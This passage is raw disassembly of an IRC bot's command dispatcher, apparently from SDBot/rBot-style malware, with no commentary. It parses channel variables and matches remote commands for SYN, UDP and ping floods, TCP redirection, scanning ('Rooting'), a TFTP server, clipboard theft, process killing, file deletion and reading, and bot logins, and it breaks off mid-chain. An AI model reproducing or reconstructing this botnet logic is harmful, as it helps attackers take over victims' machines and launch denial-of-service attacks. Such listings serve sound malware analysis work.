		test	eax, eax
		pop	ecx
		jnz	loc_40B19B


loc_407EDB:				; CODE XREF: sub_4077FD+6C2j
		cmp	[ebp+arg_28], ebx
		jnz	loc_40B19B
		cmp	dword_41E170, ebx
		mov	[ebp+arg_8], ebx
		jle	loc_40819A
		mov	[ebp+arg_20], offset dword_42E688


loc_407EFA:				; CODE XREF: sub_4077FD+723j
		push	esi
		push	[ebp+arg_20]
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40804C
		inc	[ebp+arg_8]
		add	[ebp+arg_20], 0B8h
		mov	eax, [ebp+arg_8]
		cmp	eax, dword_41E170
		jl	short loc_407EFA
		jmp	loc_40819A
; ---------------------------------------------------------------------------


loc_407F27:				; CODE XREF: sub_4077FD+636j
					; sub_4077FD+64Cj
		push	[ebp+var_A0]
		push	esi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407F40
		mov	[ebp+var_4], 1


loc_407F40:				; CODE XREF: sub_4077FD+73Aj
		cmp	[ebp+var_9C], ebx
		jz	loc_407C50
		push	(offset	loc_41A90F+1)
		push	[ebp+var_9C]
		call	sub_40E4B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407F67
		cmp	[ebp+var_4], ebx
		jz	short loc_407F73


loc_407F67:				; CODE XREF: sub_4077FD+763j
		lea	eax, [ebp+var_C8]
		mov	[ebp+var_9C], eax


loc_407F73:				; CODE XREF: sub_4077FD+768j
		cmp	[ebp+var_98], ebx
		jz	loc_407C50
		inc	[ebp+var_98]
		jz	short loc_407FBA
		cmp	[ebp+arg_10], ebx
		jz	short loc_407FBA
		lea	eax, [ebp+var_5A8]
		push	eax
		call	sub_40CBC0
		push	eax
		lea	eax, [ebp+var_5A8]
		push	[ebp+var_98]
		push	eax
		call	sub_40EAC0
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_24], eax
		jmp	short loc_407FBD
; ---------------------------------------------------------------------------


loc_407FBA:				; CODE XREF: sub_4077FD+788j
					; sub_4077FD+78Dj
		mov	eax, [ebp+var_24]


loc_407FBD:				; CODE XREF: sub_4077FD+7BBj
		mov	edi, eax
		shl	edi, 2
		mov	esi, [ebp+edi+var_A4]
		cmp	esi, ebx
		jz	loc_407C50
		push	esi
		push	offset dword_41F84C
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407E68
		mov	ecx, [ebp+var_9C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40800D
		mov	eax, dword_481D5C
		mov	eax, off_41DF60[eax*4]
		cmp	[eax], bl
		jz	short loc_40800D
		push	eax
		push	ecx
		push	offset dword_41F830
		jmp	loc_407B9C
; ---------------------------------------------------------------------------


loc_40800D:				; CODE XREF: sub_4077FD+7F2j
					; sub_4077FD+802j
		push	esi
		push	offset dword_41F828
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407E68
		mov	edi, [ebp+edi+var_A0]
		cmp	edi, ebx
		jz	loc_407E68
		mov	eax, [ebp+var_9C]
		cmp	byte ptr [eax],	23h
		jz	loc_407E68
		push	edi
		push	eax
		push	offset dword_41F810
		jmp	loc_407B9C
; ---------------------------------------------------------------------------


loc_40804C:				; CODE XREF: sub_4077FD+70Aj
		push	offset asc_41F928 ; " :"
		push	[ebp+arg_0]
		call	sub_40E4B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_407C50
		mov	esi, [ebp+arg_8]
		mov	cl, byte_41DE50
		imul	esi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_41DE50
		mov	[eax+3], cl
		lea	ecx, dword_42E6A0[esi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_40C720
		lea	eax, dword_42E688[esi]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax
		lea	esi, [ebp+edi+var_64]


loc_4080AA:				; CODE XREF: sub_4077FD+938j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_40E4B0
		add	esp, 14h
		test	eax, eax
		jz	short loc_408103
		cmp	[esi], ebx
		jz	short loc_408107
		push	[ebp+arg_20]
		call	sub_40CBC0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40812C
		push	dword ptr [esi-4]
		push	[ebp+var_C]
		call	sub_40E4B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40812C
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_4051D9
		add	esp, 0Ch
		jmp	short loc_40812C
; ---------------------------------------------------------------------------


loc_408103:				; CODE XREF: sub_4077FD+8CFj
		cmp	[esi], ebx
		jnz	short loc_40812C


loc_408107:				; CODE XREF: sub_4077FD+8D3j
		lea	eax, [ebp+var_20]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40C720
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_4051D9
		add	esp, 18h


loc_40812C:				; CODE XREF: sub_4077FD+8E1j
					; sub_4077FD+8F2j ...
		dec	[ebp+arg_8]
		sub	esi, 4
		cmp	[ebp+arg_8], ebx
		jg	loc_4080AA
		lea	eax, [ebp+edi+var_64]
		mov	[ebp+arg_8], 10h
		mov	esi, eax


loc_408148:				; CODE XREF: sub_4077FD+98Ej
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_40E4B0
		add	esp, 14h
		test	eax, eax
		jz	short loc_408182
		mov	eax, [esi]
		cmp	eax, ebx
		jz	short loc_408182
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_4051D9
		add	esp, 0Ch


loc_408182:				; CODE XREF: sub_4077FD+96Dj
					; sub_4077FD+973j
		dec	[ebp+arg_8]
		sub	esi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_408148
		mov	esi, [ebp+arg_C]
		mov	[ebp+var_B0], 1


loc_40819A:				; CODE XREF: sub_4077FD+6F0j
					; sub_4077FD+725j
		mov	al, [esi]
		cmp	al, byte_41DE50
		jz	short loc_4081B0
		cmp	[ebp+var_B0], ebx
		jz	loc_40836C


loc_4081B0:				; CODE XREF: sub_4077FD+9A5j
		push	[ebp+arg_10]
		mov	esi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	esi
		call	sub_4051D9
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aUser_2	; "$user"
		push	esi
		call	sub_4051D9
		push	[ebp+var_9C]
		push	offset aChan	; "$chan"
		push	esi
		call	sub_4051D9
		push	ebx
		push	ebx
		lea	eax, [ebp+var_20]
		push	2
		push	eax
		call	sub_406777
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	esi
		call	sub_4051D9
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	esi
		call	sub_4051D9
		mov	esi, offset aChr ; "$chr("
		push	esi
		push	[ebp+arg_0]
		call	sub_40E4B0
		add	esp, 14h
		jmp	loc_4082E7
; ---------------------------------------------------------------------------


loc_408224:				; CODE XREF: sub_4077FD+AECj
		push	esi
		push	[ebp+arg_0]
		call	sub_40E4B0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40C720
		lea	eax, [ebp+var_20]
		push	offset asc_41F7D0 ; ")"
		push	eax
		call	sub_40E6E9
		add	esp, 1Ch
		cmp	[ebp+var_20], 30h
		jl	short loc_40825C
		cmp	[ebp+var_20], 39h
		jle	short loc_40826F


loc_40825C:				; CODE XREF: sub_4077FD+A57j
		push	3
		lea	eax, [ebp+var_20]
		push	offset a63	; "63"
		push	eax
		call	sub_40C720
		add	esp, 0Ch


loc_40826F:				; CODE XREF: sub_4077FD+A5Dj
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40D9BF
		test	eax, eax
		pop	ecx
		jle	short loc_40828C
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40D9BF
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40829D
; ---------------------------------------------------------------------------


loc_40828C:				; CODE XREF: sub_4077FD+A7Ej
		call	sub_40CB5F
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40829D:				; CODE XREF: sub_4077FD+A8Dj
		lea	eax, [ebp+var_20]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_40CBC0
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_40CC40
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_10]
		push	eax
		call	sub_40C720
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_4051D9
		push	esi
		push	[ebp+arg_0]
		call	sub_40E4B0
		add	esp, 30h


loc_4082E7:				; CODE XREF: sub_4077FD+A22j
		test	eax, eax
		jnz	loc_408224
		mov	esi, 1FFh
		lea	eax, [ebp+var_B30]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_40C720
		lea	eax, [ebp+var_B30]
		push	esi
		push	eax
		lea	eax, [ebp+var_D30]
		push	eax
		call	sub_40C720
		mov	esi, offset asc_41F924 ; " "
		lea	eax, [ebp+var_D30]
		push	esi
		push	eax
		call	sub_40E6E9
		add	esp, 20h
		mov	[ebp+var_A4], eax
		mov	[ebp+arg_8], 1


loc_40833A:				; CODE XREF: sub_4077FD+B57j
		push	esi
		push	ebx
		call	sub_40E6E9
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 20h
		mov	[ebp+ecx*4+var_A4], eax
		jl	short loc_40833A
		lea	eax, [ebp+edi+var_A4]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_407C50
		add	ecx, 3
		mov	[eax], ecx


loc_40836C:				; CODE XREF: sub_4077FD+9ADj
		mov	esi, [ebp+edi+var_A4]
		push	esi
		push	offset aRndnick	; "rndnick"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B15F
		push	esi
		push	offset aRn	; "rn"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B15F
		push	esi
		push	offset aDie	; "die"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B13D
		push	esi
		push	offset aDe	; "de"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B13D
		push	esi
		push	offset aLogout	; "logout"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B099
		push	esi
		push	offset aLo	; "lo"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B099
		push	esi
		push	offset aVersionw ; "versionw"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B084
		push	esi
		push	offset aVerw	; "verw"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B084
		push	esi
		push	offset aSecure	; "secure"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF78
		push	esi
		push	offset aSec	; "sec"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF78
		push	esi
		push	offset aUnsecure ; "unsecure"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF78
		push	esi
		push	offset aUnsec	; "unsec"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF78
		push	esi
		push	offset aLogstop	; "logstop"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408498
		push	[ebp+edi+var_A0]
		push	1Ah
		push	offset aLogList	; "Log list"
		push	offset aLog	; "LOG "
		jmp	loc_40AF5C
; ---------------------------------------------------------------------------


loc_408498:				; CODE XREF: sub_4077FD+C81j
		push	esi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4084C1
		push	[ebp+edi+var_A0]
		push	0Fh
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset aRedirect_0 ; "REDIRECT "
		jmp	loc_40AF5C
; ---------------------------------------------------------------------------


loc_4084C1:				; CODE XREF: sub_4077FD+CAAj
		push	esi
		push	offset aSynstop	; "synstop"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4084EA
		push	[ebp+edi+var_A0]
		push	0Ah
		push	offset aSynFlood ; "Syn	flood"
		push	offset aSyn	; "SYN "
		jmp	loc_40AF5C
; ---------------------------------------------------------------------------


loc_4084EA:				; CODE XREF: sub_4077FD+CD3j
		push	esi
		push	offset aUdpstop	; "udpstop"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408513
		push	[ebp+edi+var_A0]
		push	0Eh
		push	offset aUdpFlood ; "UDP	flood"
		push	offset aUdp	; "UDP "
		jmp	loc_40AF5C
; ---------------------------------------------------------------------------


loc_408513:				; CODE XREF: sub_4077FD+CFCj
		push	esi
		push	offset aPingstop ; "pingstop"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40853C
		push	[ebp+edi+var_A0]
		push	0Dh
		push	offset aPingFlood ; "Ping flood"
		push	offset aPing_1	; "PING	"
		jmp	loc_40AF5C
; ---------------------------------------------------------------------------


loc_40853C:				; CODE XREF: sub_4077FD+D25j
		push	esi
		push	offset aTftpstop ; "tftpstop"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408565
		push	[ebp+edi+var_A0]
		push	4
		push	offset aServer	; "Server"
		push	offset aTftp_0	; "TFTP	"
		jmp	loc_40AF5C
; ---------------------------------------------------------------------------


loc_408565:				; CODE XREF: sub_4077FD+D4Ej
		push	esi
		push	offset aProcsstop ; "procsstop"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF49
		push	esi
		push	offset aPsstop	; "psstop"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF49
		push	esi
		push	offset aSecurestop ; "securestop"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4085B8
		push	[ebp+edi+var_A0]
		push	18h
		push	offset aSecure_0 ; "Secure"
		push	offset aSecure_1 ; "SECURE "
		jmp	loc_40AF5C
; ---------------------------------------------------------------------------


loc_4085B8:				; CODE XREF: sub_4077FD+DA1j
		push	esi
		push	offset aScanstop ; "scanstop"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4085E1
		push	[ebp+edi+var_A0]
		push	7
		push	offset aProcess	; "process"
		push	offset aRooting	; "Rooting"
		jmp	loc_40AF5C
; ---------------------------------------------------------------------------


loc_4085E1:				; CODE XREF: sub_4077FD+DCAj
		push	esi
		push	offset aScanstats ; "scanstats"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF30
		push	esi
		push	offset aStats	; "stats"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF30
		push	esi
		push	offset aReconnect ; "reconnect"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF1A
		push	esi
		push	offset aR	; "r"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF1A
		push	esi
		push	offset aDisconnect ; "disconnect"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF03
		push	esi
		push	offset aD	; "d"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF03
		push	esi
		push	offset aQuit_0	; "quit"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AEBA
		push	esi
		push	offset aQ	; "q"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AEBA
		push	esi
		push	offset aStatus	; "status"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AE7C
		push	esi
		push	offset aS_2	; "s"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AE7C
		push	esi
		push	offset aIdw	; "idw"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AE45
		push	esi
		push	offset aIdw	; "idw"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AE45
		push	esi
		push	offset aReboot	; "reboot"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40872F
		call	sub_4054F9
		test	eax, eax
		mov	eax, offset unk_41F5F4
		jnz	short loc_408701
		mov	eax, offset unk_41F5CC


loc_408701:				; CODE XREF: sub_4077FD+EFDj
		push	eax
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 1Ch
		jmp	loc_409BDA
; ---------------------------------------------------------------------------


loc_40872F:				; CODE XREF: sub_4077FD+EEFj
		push	esi
		push	offset aThreads	; "threads"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AD58
		push	esi
		push	offset aT	; "t"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AD58
		push	esi
		push	offset aAliases	; "aliases"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AD42
		push	esi
		push	offset aAl	; "al"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AD42
		push	esi
		push	offset aNetinfo	; "netinfo"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AD12
		push	esi
		push	offset aNi	; "ni"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AD12
		push	esi
		push	offset aSysinfo	; "sysinfo"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ACFB
		push	esi
		push	offset aSi	; "si"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ACFB
		push	esi
		push	offset aRrmm010kt ; "rrmm010kt"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ACC1
		push	esi
		push	offset aRrmm010kt ; "rrmm010kt"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ACC1
		push	esi
		push	offset aProcs	; "procs"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ABA6
		push	esi
		push	offset aPs	; "ps"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ABA6
		push	esi
		push	offset aUptime	; "uptime"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AB1F
		push	esi
		push	offset aUp	; "up"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AB1F
		push	esi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AAFF
		push	esi
		push	offset aDrv	; "drv"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AAFF
		push	esi
		push	offset aWho	; "who"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408906
		cmp	[ebp+var_8], ebx
		jnz	short loc_4088AF
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_4088AF:				; CODE XREF: sub_4077FD+1096j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4088B4:				; CODE XREF: sub_4077FD+10FDj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_4088C0
		mov	eax, offset aEmpty ; "<Empty>"


loc_4088C0:				; CODE XREF: sub_4077FD+10BCj
		push	eax
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_40C6C3
		push	1
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4088B4
		push	offset unk_41F520
		jmp	loc_40A2FC
; ---------------------------------------------------------------------------


loc_408906:				; CODE XREF: sub_4077FD+1091j
		push	esi
		push	offset aGetclip	; "getclip"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AAB6
		push	esi
		push	offset aGc	; "gc"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AAB6
		push	esi
		push	offset aFlusharp ; "flusharp"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AA8B
		push	esi
		push	offset aFarp	; "farp"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AA8B
		push	esi
		push	offset aFlushdns ; "flushdns"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AA5B
		push	esi
		push	offset aFdns	; "fdns"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AA5B
		push	esi
		push	offset aCurrentip ; "currentip"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AA1E
		push	esi
		push	offset aCip	; "cip"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AA1E
		push	esi
		push	offset aTftpserver ; "tftpserver"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A8E9
		push	esi
		push	offset aTftp	; "tftp"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A8E9
		push	esi
		push	offset aAlls	; "alls"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A5DC
		push	esi
		push	offset aAlls	; "alls"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A5DC
		mov	eax, [ebp+edi+var_A0]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_407C50
		push	esi
		push	offset aNick_0	; "nick"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A5CF
		push	esi
		push	offset aN	; "n"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A5CF
		push	esi
		push	offset aJoin	; "join"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A5C0
		push	esi
		push	offset aJ	; "j"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A5C0
		push	esi
		push	offset aPart_0	; "part"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A5B3
		push	esi
		push	offset aPt	; "pt"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A5B3
		push	esi
		push	offset aRaw	; "raw"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A58A
		push	esi
		push	offset aR	; "r"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A58A
		push	esi
		push	offset aKillthread ; "killthread"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A4CD
		push	esi
		push	offset aK	; "k"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A4CD
		push	esi
		push	offset aPrefixw	; "prefixw"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A4B4
		push	esi
		push	offset aPrw	; "prw"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A4B4
		push	esi
		push	offset aOpen	; "open"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A486
		push	esi
		push	offset aO	; "o"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A486
		push	esi
		push	offset aServerw	; "serverw"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A45D
		push	esi
		push	offset aSew	; "sew"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A45D
		push	esi
		push	offset aDns	; "dns"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A3F5
		push	esi
		push	offset aDn	; "dn"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A3F5
		push	esi
		push	offset aKillproc ; "killproc"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A3C5
		push	esi
		push	offset aKp	; "kp"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A3C5
		push	esi
		push	offset aKill	; "kill"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A366
		push	esi
		push	offset aKi	; "ki"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A366
		push	esi
		push	offset aDelete	; "delete"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A307
		push	esi
		push	offset aDel	; "del"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A307
		push	esi
		push	offset aMirccmd	; "mirccmd"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A291
		push	esi
		push	offset aMirc_0	; "mirc"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A291
		push	esi
		push	offset aReadfile ; "readfile"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A203
		push	esi
		push	offset aRf	; "rf"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A203
		push	esi
		push	offset aGethost	; "gethost"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A11F
		push	esi
		push	offset aGh	; "gh"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A11F
		mov	eax, [ebp+edi+var_9C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_407C50
		push	esi
		push	offset aAddalias ; "addalias"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A0DC
		push	esi
		push	offset aAa	; "aa"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A0DC
		push	esi
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A09D
		push	esi
		push	offset aPm	; "pm"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A09D
		push	esi
		push	offset aAction	; "action"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A03B
		push	esi
		push	offset aA_0	; "a"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A03B
		push	esi
		push	offset aCycle	; "cycle"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409FDD
		push	esi
		push	offset aCy	; "cy"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409FDD
		push	esi
		push	offset aMode	; "mode"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409FAC
		push	esi
		push	offset aM	; "m"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409FAC
		push	esi
		push	offset aRepeat	; "repeat"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409EE4
		push	esi
		push	offset aRp	; "rp"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409EE4
		push	esi
		push	offset aDelay	; "delay"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409E50
		push	esi
		push	offset aDe	; "de"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409E50
		push	esi
		push	offset aKkttupw	; "kkttupw"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409C9D
		push	esi
		push	offset aKkttupw	; "kkttupw"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409C9D
		push	esi
